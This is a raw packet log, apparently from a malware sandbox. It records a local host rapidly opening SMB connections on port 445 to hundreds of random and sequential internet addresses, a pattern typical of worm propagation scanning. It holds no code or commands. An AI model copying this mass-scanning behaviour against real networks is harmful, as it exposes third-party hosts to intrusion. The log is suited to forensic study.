Jul 20, 2022 19:34:21.484585047 CEST	62234	445	192.168.2.7	131.152.79.185
Jul 20, 2022 19:34:21.484898090 CEST	62240	445	192.168.2.7	206.192.81.83
Jul 20, 2022 19:34:21.485002995 CEST	62241	445	192.168.2.7	36.111.189.122
Jul 20, 2022 19:34:21.485146999 CEST	62242	445	192.168.2.7	219.82.191.100
Jul 20, 2022 19:34:21.485541105 CEST	62251	445	192.168.2.7	11.133.37.209
Jul 20, 2022 19:34:21.485563993 CEST	62252	445	192.168.2.7	174.202.145.35
Jul 20, 2022 19:34:21.485841990 CEST	62256	445	192.168.2.7	46.32.111.157
Jul 20, 2022 19:34:21.486064911 CEST	62260	445	192.168.2.7	5.3.231.2
Jul 20, 2022 19:34:21.486119986 CEST	62261	445	192.168.2.7	74.212.200.42
Jul 20, 2022 19:34:21.486499071 CEST	62268	445	192.168.2.7	190.77.63.34
Jul 20, 2022 19:34:21.486691952 CEST	62272	445	192.168.2.7	57.182.89.78
Jul 20, 2022 19:34:21.486784935 CEST	62273	445	192.168.2.7	149.191.253.203
Jul 20, 2022 19:34:21.486902952 CEST	62275	445	192.168.2.7	59.48.227.161
Jul 20, 2022 19:34:21.487413883 CEST	62285	445	192.168.2.7	16.209.17.248
Jul 20, 2022 19:34:21.487673044 CEST	62290	445	192.168.2.7	195.4.198.33
Jul 20, 2022 19:34:21.487739086 CEST	62291	445	192.168.2.7	154.246.225.250
Jul 20, 2022 19:34:21.488190889 CEST	62299	445	192.168.2.7	102.238.82.29
Jul 20, 2022 19:34:21.488254070 CEST	62300	445	192.168.2.7	169.62.183.190
Jul 20, 2022 19:34:21.488316059 CEST	62301	445	192.168.2.7	34.32.237.146
Jul 20, 2022 19:34:21.488415003 CEST	62302	445	192.168.2.7	44.251.121.74
Jul 20, 2022 19:34:21.488442898 CEST	62303	445	192.168.2.7	126.151.36.2
Jul 20, 2022 19:34:21.488965034 CEST	62311	445	192.168.2.7	117.252.250.145
Jul 20, 2022 19:34:21.489118099 CEST	62314	445	192.168.2.7	23.235.33.211
Jul 20, 2022 19:34:21.489295006 CEST	62318	445	192.168.2.7	24.200.132.178
Jul 20, 2022 19:34:21.489725113 CEST	62322	445	192.168.2.7	60.236.117.70
Jul 20, 2022 19:34:21.489857912 CEST	62325	445	192.168.2.7	87.168.251.77
Jul 20, 2022 19:34:21.490423918 CEST	62335	445	192.168.2.7	133.201.132.240
Jul 20, 2022 19:34:21.776274920 CEST	445	62311	117.252.250.145	192.168.2.7
Jul 20, 2022 19:34:21.817826986 CEST	445	62303	126.151.36.2	192.168.2.7
Jul 20, 2022 19:34:22.311436892 CEST	62311	445	192.168.2.7	117.252.250.145
Jul 20, 2022 19:34:22.326992989 CEST	62303	445	192.168.2.7	126.151.36.2
Jul 20, 2022 19:34:22.421233892 CEST	62338	445	192.168.2.7	51.158.189.135
Jul 20, 2022 19:34:22.421233892 CEST	62337	445	192.168.2.7	121.3.139.85
Jul 20, 2022 19:34:22.593903065 CEST	62341	445	192.168.2.7	158.246.130.215
Jul 20, 2022 19:34:22.594024897 CEST	62342	445	192.168.2.7	187.208.73.8
Jul 20, 2022 19:34:22.594573975 CEST	62352	445	192.168.2.7	154.32.173.102
Jul 20, 2022 19:34:22.594818115 CEST	62355	445	192.168.2.7	37.75.21.163
Jul 20, 2022 19:34:22.594963074 CEST	62358	445	192.168.2.7	56.155.87.32
Jul 20, 2022 19:34:22.595453024 CEST	62366	445	192.168.2.7	16.35.92.124
Jul 20, 2022 19:34:22.595504045 CEST	62367	445	192.168.2.7	91.219.94.234
Jul 20, 2022 19:34:22.595650911 CEST	62368	445	192.168.2.7	122.172.70.133
Jul 20, 2022 19:34:22.595803976 CEST	62370	445	192.168.2.7	106.126.51.48
Jul 20, 2022 19:34:22.595804930 CEST	62369	445	192.168.2.7	187.66.254.30
Jul 20, 2022 19:34:22.596496105 CEST	62378	445	192.168.2.7	219.97.143.122
Jul 20, 2022 19:34:22.596668959 CEST	62382	445	192.168.2.7	203.5.161.128
Jul 20, 2022 19:34:22.596862078 CEST	62386	445	192.168.2.7	185.95.138.18
Jul 20, 2022 19:34:22.597099066 CEST	62390	445	192.168.2.7	134.87.79.100
Jul 20, 2022 19:34:22.597240925 CEST	62392	445	192.168.2.7	140.92.70.80
Jul 20, 2022 19:34:22.597847939 CEST	62402	445	192.168.2.7	92.218.52.120
Jul 20, 2022 19:34:22.598478079 CEST	62414	445	192.168.2.7	65.60.239.27
Jul 20, 2022 19:34:22.598833084 CEST	62419	445	192.168.2.7	49.77.226.6
Jul 20, 2022 19:34:22.598872900 CEST	62420	445	192.168.2.7	217.150.186.234
Jul 20, 2022 19:34:22.598990917 CEST	62421	445	192.168.2.7	135.165.190.82
Jul 20, 2022 19:34:22.599503040 CEST	62429	445	192.168.2.7	223.222.216.186
Jul 20, 2022 19:34:22.599653959 CEST	62431	445	192.168.2.7	212.217.80.187
Jul 20, 2022 19:34:22.599895000 CEST	62434	445	192.168.2.7	151.15.236.189
Jul 20, 2022 19:34:22.600284100 CEST	62440	445	192.168.2.7	219.15.61.170
Jul 20, 2022 19:34:22.600289106 CEST	62439	445	192.168.2.7	139.115.86.227
Jul 20, 2022 19:34:22.600392103 CEST	445	62311	117.252.250.145	192.168.2.7
Jul 20, 2022 19:34:22.600785017 CEST	62448	445	192.168.2.7	97.4.120.40
Jul 20, 2022 19:34:22.601006031 CEST	62451	445	192.168.2.7	1.88.196.203
Jul 20, 2022 19:34:22.702507973 CEST	62453	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:22.856563091 CEST	445	62303	126.151.36.2	192.168.2.7
Jul 20, 2022 19:34:22.860723019 CEST	445	62453	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:22.860860109 CEST	62453	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:22.860925913 CEST	62453	445	192.168.2.7	131.153.221.98
Jul 20, 2022 19:34:23.019032955 CEST	445	62453	131.153.221.98	192.168.2.7
Jul 20, 2022 19:34:23.077677011 CEST	62454	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.237195015 CEST	445	62454	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:23.237322092 CEST	62454	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.237438917 CEST	62454	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.238096952 CEST	62456	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.374439955 CEST	62457	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:23.396256924 CEST	445	62454	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:23.396296978 CEST	445	62454	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:23.396392107 CEST	445	62456	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:23.396497965 CEST	62456	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.396538973 CEST	62456	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:23.434485912 CEST	445	62457	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:23.434591055 CEST	62457	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:23.434645891 CEST	62457	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:23.495389938 CEST	445	62457	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:23.495556116 CEST	445	62457	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:23.495687008 CEST	62457	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:23.499248981 CEST	62459	445	192.168.2.7	51.158.189.136
Jul 20, 2022 19:34:23.500207901 CEST	62460	445	192.168.2.7	121.3.139.86
Jul 20, 2022 19:34:23.555577040 CEST	445	62457	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:23.555742979 CEST	62457	445	192.168.2.7	213.142.151.115
Jul 20, 2022 19:34:23.556020021 CEST	445	62456	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:23.615430117 CEST	445	62457	213.142.151.115	192.168.2.7
Jul 20, 2022 19:34:23.671673059 CEST	62462	445	192.168.2.7	213.142.151.116
Jul 20, 2022 19:34:23.718282938 CEST	62465	445	192.168.2.7	87.177.254.135
Jul 20, 2022 19:34:23.718400002 CEST	62466	445	192.168.2.7	114.248.65.121
Jul 20, 2022 19:34:23.718652964 CEST	62470	445	192.168.2.7	9.53.240.247
Jul 20, 2022 19:34:23.719068050 CEST	62478	445	192.168.2.7	105.126.72.49
Jul 20, 2022 19:34:23.719260931 CEST	62480	445	192.168.2.7	161.21.187.207
Jul 20, 2022 19:34:23.719690084 CEST	62486	445	192.168.2.7	4.102.131.53
Jul 20, 2022 19:34:23.720007896 CEST	62492	445	192.168.2.7	38.58.72.218
Jul 20, 2022 19:34:23.720035076 CEST	62493	445	192.168.2.7	35.66.110.244
Jul 20, 2022 19:34:23.720161915 CEST	62494	445	192.168.2.7	124.84.9.100
Jul 20, 2022 19:34:23.720606089 CEST	62502	445	192.168.2.7	15.222.208.115
Jul 20, 2022 19:34:23.720757008 CEST	62505	445	192.168.2.7	61.211.21.204
Jul 20, 2022 19:34:23.720853090 CEST	62507	445	192.168.2.7	4.35.88.117
Jul 20, 2022 19:34:23.721086979 CEST	62512	445	192.168.2.7	52.51.12.175
Jul 20, 2022 19:34:23.721128941 CEST	62513	445	192.168.2.7	191.179.109.94
Jul 20, 2022 19:34:23.721513033 CEST	62521	445	192.168.2.7	118.70.41.177
Jul 20, 2022 19:34:23.721681118 CEST	62524	445	192.168.2.7	223.204.199.173
Jul 20, 2022 19:34:23.722018003 CEST	62530	445	192.168.2.7	183.119.116.195
Jul 20, 2022 19:34:23.722547054 CEST	62542	445	192.168.2.7	106.55.89.2
Jul 20, 2022 19:34:23.722672939 CEST	62544	445	192.168.2.7	19.136.56.34
Jul 20, 2022 19:34:23.723087072 CEST	62553	445	192.168.2.7	209.116.32.228
Jul 20, 2022 19:34:23.723108053 CEST	62554	445	192.168.2.7	103.113.250.35
Jul 20, 2022 19:34:23.723567963 CEST	62563	445	192.168.2.7	170.184.104.165
Jul 20, 2022 19:34:23.723593950 CEST	62564	445	192.168.2.7	80.199.97.45
Jul 20, 2022 19:34:23.723685980 CEST	62565	445	192.168.2.7	27.73.193.55
Jul 20, 2022 19:34:23.723921061 CEST	62570	445	192.168.2.7	154.94.171.120
Jul 20, 2022 19:34:23.723979950 CEST	62571	445	192.168.2.7	155.71.63.1
Jul 20, 2022 19:34:23.919378042 CEST	445	62524	223.204.199.173	192.168.2.7
Jul 20, 2022 19:34:24.014844894 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.033421993 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.033533096 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.033581972 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.052438021 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.052489042 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.052511930 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.052613974 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.052685022 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.052735090 CEST	62576	445	192.168.2.7	45.60.207.35
Jul 20, 2022 19:34:24.071687937 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.071707010 CEST	445	62576	45.60.207.35	192.168.2.7
Jul 20, 2022 19:34:24.109014988 CEST	62577	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.132638931 CEST	445	62577	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.132752895 CEST	62577	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.132791042 CEST	62577	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.133310080 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.151356936 CEST	445	62577	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.151454926 CEST	62577	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.152952909 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.153093100 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.153163910 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.172544956 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.172770023 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.172785997 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.172877073 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.172916889 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.172933102 CEST	62578	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:24.192239046 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.192260027 CEST	445	62578	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:24.420938015 CEST	62524	445	192.168.2.7	223.204.199.173
Jul 20, 2022 19:34:24.577709913 CEST	62582	445	192.168.2.7	51.158.189.137
Jul 20, 2022 19:34:24.577728987 CEST	62581	445	192.168.2.7	121.3.139.87
Jul 20, 2022 19:34:24.622303963 CEST	445	62524	223.204.199.173	192.168.2.7
Jul 20, 2022 19:34:24.749381065 CEST	62584	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.802381992 CEST	445	62584	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.802572966 CEST	62584	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.802658081 CEST	62584	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.803158998 CEST	62585	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.844070911 CEST	62594	445	192.168.2.7	103.111.113.240
Jul 20, 2022 19:34:24.844238043 CEST	62597	445	192.168.2.7	123.200.102.51
Jul 20, 2022 19:34:24.844600916 CEST	62603	445	192.168.2.7	126.147.16.74
Jul 20, 2022 19:34:24.845252991 CEST	62615	445	192.168.2.7	77.38.99.104
Jul 20, 2022 19:34:24.845379114 CEST	62618	445	192.168.2.7	98.93.81.211
Jul 20, 2022 19:34:24.845814943 CEST	62626	445	192.168.2.7	23.176.106.254
Jul 20, 2022 19:34:24.845864058 CEST	62627	445	192.168.2.7	84.136.132.90
Jul 20, 2022 19:34:24.845988989 CEST	62628	445	192.168.2.7	4.49.28.117
Jul 20, 2022 19:34:24.846407890 CEST	62636	445	192.168.2.7	223.203.219.33
Jul 20, 2022 19:34:24.846456051 CEST	62637	445	192.168.2.7	29.127.218.53
Jul 20, 2022 19:34:24.846524000 CEST	62638	445	192.168.2.7	169.32.161.34
Jul 20, 2022 19:34:24.846832037 CEST	62643	445	192.168.2.7	175.184.75.57
Jul 20, 2022 19:34:24.846904039 CEST	62644	445	192.168.2.7	164.166.37.232
Jul 20, 2022 19:34:24.847270966 CEST	62650	445	192.168.2.7	19.100.184.150
Jul 20, 2022 19:34:24.847280025 CEST	62651	445	192.168.2.7	30.186.195.254
Jul 20, 2022 19:34:24.847594023 CEST	62656	445	192.168.2.7	14.71.10.38
Jul 20, 2022 19:34:24.847990036 CEST	62663	445	192.168.2.7	203.42.141.187
Jul 20, 2022 19:34:24.848124027 CEST	62665	445	192.168.2.7	159.230.63.15
Jul 20, 2022 19:34:24.848546982 CEST	62672	445	192.168.2.7	97.39.51.16
Jul 20, 2022 19:34:24.848834991 CEST	62677	445	192.168.2.7	156.27.238.21
Jul 20, 2022 19:34:24.848901033 CEST	62678	445	192.168.2.7	118.168.154.169
Jul 20, 2022 19:34:24.849091053 CEST	62680	445	192.168.2.7	191.182.102.142
Jul 20, 2022 19:34:24.849539042 CEST	62688	445	192.168.2.7	194.174.49.223
Jul 20, 2022 19:34:24.849694014 CEST	62690	445	192.168.2.7	203.101.139.33
Jul 20, 2022 19:34:24.849827051 CEST	62692	445	192.168.2.7	205.71.125.226
Jul 20, 2022 19:34:24.850133896 CEST	62697	445	192.168.2.7	164.42.180.4
Jul 20, 2022 19:34:24.850186110 CEST	62698	445	192.168.2.7	174.187.148.237
Jul 20, 2022 19:34:24.854347944 CEST	445	62584	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.854378939 CEST	445	62584	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.856600046 CEST	445	62585	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.856769085 CEST	62585	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.856868029 CEST	62585	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.910202980 CEST	445	62585	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.910248041 CEST	445	62585	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.910480022 CEST	62585	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:24.964159966 CEST	445	62585	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:24.964392900 CEST	62585	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:25.019210100 CEST	445	62585	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:25.129710913 CEST	445	62643	175.184.75.57	192.168.2.7
Jul 20, 2022 19:34:25.639802933 CEST	62643	445	192.168.2.7	175.184.75.57
Jul 20, 2022 19:34:25.655834913 CEST	62702	445	192.168.2.7	121.3.139.88
Jul 20, 2022 19:34:25.656356096 CEST	62703	445	192.168.2.7	51.158.189.138
Jul 20, 2022 19:34:25.924030066 CEST	445	62643	175.184.75.57	192.168.2.7
Jul 20, 2022 19:34:25.953670025 CEST	62706	445	192.168.2.7	105.200.178.194
Jul 20, 2022 19:34:25.954082012 CEST	62713	445	192.168.2.7	67.200.122.110
Jul 20, 2022 19:34:25.954220057 CEST	62714	445	192.168.2.7	118.239.26.228
Jul 20, 2022 19:34:25.954535007 CEST	62718	445	192.168.2.7	160.237.248.215
Jul 20, 2022 19:34:25.955002069 CEST	62726	445	192.168.2.7	150.206.176.234
Jul 20, 2022 19:34:25.955128908 CEST	62727	445	192.168.2.7	11.116.82.47
Jul 20, 2022 19:34:25.955982924 CEST	62736	445	192.168.2.7	87.63.95.195
Jul 20, 2022 19:34:25.956063986 CEST	62738	445	192.168.2.7	125.93.94.6
Jul 20, 2022 19:34:25.956315041 CEST	62741	445	192.168.2.7	215.7.17.23
Jul 20, 2022 19:34:25.956465006 CEST	62743	445	192.168.2.7	72.169.9.171
Jul 20, 2022 19:34:25.956912041 CEST	62751	445	192.168.2.7	219.107.96.127
Jul 20, 2022 19:34:25.957084894 CEST	62752	445	192.168.2.7	142.172.184.70
Jul 20, 2022 19:34:25.957225084 CEST	62755	445	192.168.2.7	193.111.55.55
Jul 20, 2022 19:34:25.957494974 CEST	62759	445	192.168.2.7	24.186.152.76
Jul 20, 2022 19:34:25.957623959 CEST	62761	445	192.168.2.7	135.95.78.239
Jul 20, 2022 19:34:25.957763910 CEST	62762	445	192.168.2.7	29.197.206.10
Jul 20, 2022 19:34:25.958311081 CEST	62772	445	192.168.2.7	35.207.73.13
Jul 20, 2022 19:34:25.958430052 CEST	62773	445	192.168.2.7	140.237.141.207
Jul 20, 2022 19:34:25.958884001 CEST	62781	445	192.168.2.7	38.105.148.104
Jul 20, 2022 19:34:25.959464073 CEST	62791	445	192.168.2.7	21.241.210.246
Jul 20, 2022 19:34:25.959593058 CEST	62793	445	192.168.2.7	103.185.205.7
Jul 20, 2022 19:34:25.960150957 CEST	62803	445	192.168.2.7	78.220.96.177
Jul 20, 2022 19:34:25.960228920 CEST	62804	445	192.168.2.7	22.120.192.112
Jul 20, 2022 19:34:25.960645914 CEST	62811	445	192.168.2.7	54.145.51.43
Jul 20, 2022 19:34:25.960774899 CEST	62812	445	192.168.2.7	44.59.19.144
Jul 20, 2022 19:34:25.960804939 CEST	62813	445	192.168.2.7	121.147.57.157
Jul 20, 2022 19:34:25.961153984 CEST	62817	445	192.168.2.7	101.248.29.172
Jul 20, 2022 19:34:26.000646114 CEST	445	62755	193.111.55.55	192.168.2.7
Jul 20, 2022 19:34:26.514931917 CEST	62755	445	192.168.2.7	193.111.55.55
Jul 20, 2022 19:34:26.557802916 CEST	445	62755	193.111.55.55	192.168.2.7
Jul 20, 2022 19:34:26.562144041 CEST	62820	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:26.718722105 CEST	62821	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.718847990 CEST	62822	445	192.168.2.7	121.3.139.89
Jul 20, 2022 19:34:26.726254940 CEST	445	62820	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:26.726526022 CEST	62820	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:26.726583004 CEST	62820	445	192.168.2.7	131.153.221.99
Jul 20, 2022 19:34:26.742708921 CEST	445	62821	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.742903948 CEST	62821	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.742934942 CEST	62821	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.743387938 CEST	62823	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.778821945 CEST	445	62823	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.778981924 CEST	62823	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.779025078 CEST	62823	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.787432909 CEST	445	62821	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.806770086 CEST	445	62823	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.820645094 CEST	445	62823	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.823991060 CEST	445	62821	51.158.189.139	192.168.2.7
Jul 20, 2022 19:34:26.824163914 CEST	62821	445	192.168.2.7	51.158.189.139
Jul 20, 2022 19:34:26.884594917 CEST	445	62820	131.153.221.99	192.168.2.7
Jul 20, 2022 19:34:26.937431097 CEST	62825	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.078038931 CEST	62833	445	192.168.2.7	107.151.199.92
Jul 20, 2022 19:34:27.078140974 CEST	62835	445	192.168.2.7	22.248.112.35
Jul 20, 2022 19:34:27.078327894 CEST	62838	445	192.168.2.7	8.208.248.29
Jul 20, 2022 19:34:27.078548908 CEST	62842	445	192.168.2.7	64.155.149.102
Jul 20, 2022 19:34:27.078640938 CEST	62844	445	192.168.2.7	171.100.129.236
Jul 20, 2022 19:34:27.078694105 CEST	62843	445	192.168.2.7	54.12.49.101
Jul 20, 2022 19:34:27.079226017 CEST	62854	445	192.168.2.7	148.156.182.164
Jul 20, 2022 19:34:27.079380989 CEST	62855	445	192.168.2.7	44.2.54.90
Jul 20, 2022 19:34:27.079689026 CEST	62859	445	192.168.2.7	189.153.147.83
Jul 20, 2022 19:34:27.079818964 CEST	62860	445	192.168.2.7	170.93.125.78
Jul 20, 2022 19:34:27.080183029 CEST	62869	445	192.168.2.7	191.69.13.113
Jul 20, 2022 19:34:27.080435991 CEST	62871	445	192.168.2.7	130.57.18.101
Jul 20, 2022 19:34:27.080560923 CEST	62875	445	192.168.2.7	213.131.80.103
Jul 20, 2022 19:34:27.080842018 CEST	62881	445	192.168.2.7	170.204.171.64
Jul 20, 2022 19:34:27.080935001 CEST	62882	445	192.168.2.7	168.93.18.214
Jul 20, 2022 19:34:27.081300020 CEST	62889	445	192.168.2.7	60.109.113.38
Jul 20, 2022 19:34:27.081525087 CEST	62891	445	192.168.2.7	32.63.34.3
Jul 20, 2022 19:34:27.081713915 CEST	62894	445	192.168.2.7	62.237.121.231
Jul 20, 2022 19:34:27.081839085 CEST	62896	445	192.168.2.7	154.118.69.34
Jul 20, 2022 19:34:27.081912041 CEST	62897	445	192.168.2.7	121.144.231.227
Jul 20, 2022 19:34:27.082273960 CEST	62904	445	192.168.2.7	99.215.81.40
Jul 20, 2022 19:34:27.082724094 CEST	62905	445	192.168.2.7	52.56.224.234
Jul 20, 2022 19:34:27.082726955 CEST	62914	445	192.168.2.7	36.215.164.59
Jul 20, 2022 19:34:27.082818985 CEST	62915	445	192.168.2.7	79.8.48.212
Jul 20, 2022 19:34:27.083404064 CEST	62927	445	192.168.2.7	122.28.144.177
Jul 20, 2022 19:34:27.083678961 CEST	62932	445	192.168.2.7	143.205.74.35
Jul 20, 2022 19:34:27.084158897 CEST	62939	445	192.168.2.7	125.6.94.180
Jul 20, 2022 19:34:27.095365047 CEST	445	62825	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:27.095571041 CEST	62825	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.095644951 CEST	62825	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.096052885 CEST	62940	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.187450886 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.204000950 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.204251051 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.204288960 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.222757101 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.222790003 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.222805023 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.223051071 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.223117113 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.223162889 CEST	62941	445	192.168.2.7	45.60.207.36
Jul 20, 2022 19:34:27.242011070 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.242036104 CEST	445	62941	45.60.207.36	192.168.2.7
Jul 20, 2022 19:34:27.253838062 CEST	445	62825	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:27.253859997 CEST	445	62825	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:27.253961086 CEST	445	62940	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:27.254106998 CEST	62940	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.254225016 CEST	62940	445	192.168.2.7	131.153.221.100
Jul 20, 2022 19:34:27.283756018 CEST	62943	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.301120996 CEST	445	62943	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.301305056 CEST	62943	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.301332951 CEST	62943	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.301784039 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.318077087 CEST	445	62943	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.318233013 CEST	62943	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.318877935 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.318999052 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.319050074 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.337121010 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.337146044 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.337187052 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.337280989 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.337332010 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.337426901 CEST	62944	445	192.168.2.7	45.60.207.37
Jul 20, 2022 19:34:27.353962898 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.353988886 CEST	445	62944	45.60.207.37	192.168.2.7
Jul 20, 2022 19:34:27.412210941 CEST	445	62940	131.153.221.100	192.168.2.7
Jul 20, 2022 19:34:27.797734976 CEST	62947	445	192.168.2.7	121.3.139.90
Jul 20, 2022 19:34:28.031555891 CEST	62949	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:28.084335089 CEST	445	62949	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:28.084505081 CEST	62949	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:28.084539890 CEST	62949	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:28.137908936 CEST	445	62949	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:28.137942076 CEST	445	62949	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:28.138123035 CEST	62949	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:28.190790892 CEST	445	62949	213.142.151.117	192.168.2.7
Jul 20, 2022 19:34:28.190929890 CEST	62949	445	192.168.2.7	213.142.151.117
Jul 20, 2022 19:34:28.203943968 CEST	62959	445	192.168.2.7	25.86.153.75
Jul 20, 2022 19:34:28.204030037 CEST	62960	445	192.168.2.7	170.11.158.78
Jul 20, 2022 19:34:28.204979897 CEST	62979	445	192.168.2.7	144.135.9.72
Jul 20, 2022 19:34:28.205152988 CEST	62982	445	192.168.2.7	203.179.189.83
Jul 20, 2022 19:34:28.205245018 CEST	62983	445	192.168.2.7	4.234.230.167
Jul 20, 2022 19:34:28.205599070 CEST	62990	445	192.168.2.7	107.215.21.81
